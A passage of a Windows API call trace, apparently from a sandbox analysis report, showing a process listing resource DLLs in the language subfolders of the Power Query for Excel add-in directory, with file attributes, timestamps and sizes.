ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.031] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.031] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.032] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0114.032] FindClose (in: hFindFile=0x37e8518 | out: hFindFile=0x37e8518) returned 1 [0114.033] GetProcessHeap () returned 0xc00000 [0114.033] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.033] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0114.033] GetProcessHeap () returned 0xc00000 [0114.033] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8518 [0114.037] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.037] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf003cf13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.037] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.037] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.037] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5eb74f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5eb74f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f4ff2d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.037] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5eb74f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5eb74f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f4ff2d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0114.038] FindClose (in: hFindFile=0x37e8518 | out: hFindFile=0x37e8518) returned 1 [0114.039] GetProcessHeap () returned 0xc00000 [0114.039] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.039] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0114.039] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0114.039] GetProcessHeap () returned 0xc00000 [0114.039] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8258 [0114.042] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.043] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x231c662, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x231c662, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x231c662, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.043] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.043] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1dbe1c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1dbe1c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1dbe1c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.043] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.043] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0114.043] FindClose (in: hFindFile=0x37e8258 | out: hFindFile=0x37e8258) returned 1 [0114.044] GetProcessHeap () returned 0xc00000 [0114.044] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.044] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0114.045] GetProcessHeap () returned 0xc00000 [0114.045] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8718 [0114.695] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.696] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18157e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.696] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.696] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.696] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.696] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0114.696] FindClose (in: hFindFile=0x37e8718 | out: hFindFile=0x37e8718) returned 1 [0114.697] GetProcessHeap () returned 0xc00000 [0114.697] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.697] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0114.697] GetProcessHeap () returned 0xc00000 [0114.697] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.698] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e81d8 [0114.702] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.702] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.702] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc70564d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0114.703] FindClose (in: hFindFile=0x37e81d8 | out: hFindFile=0x37e81d8) returned 1 [0114.704] GetProcessHeap () returned 0xc00000 [0114.704] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.704] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0114.704] GetProcessHeap () returned 0xc00000 [0114.704] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e81d8 [0114.729] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.729] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41f3e26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.729] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa39cfa, 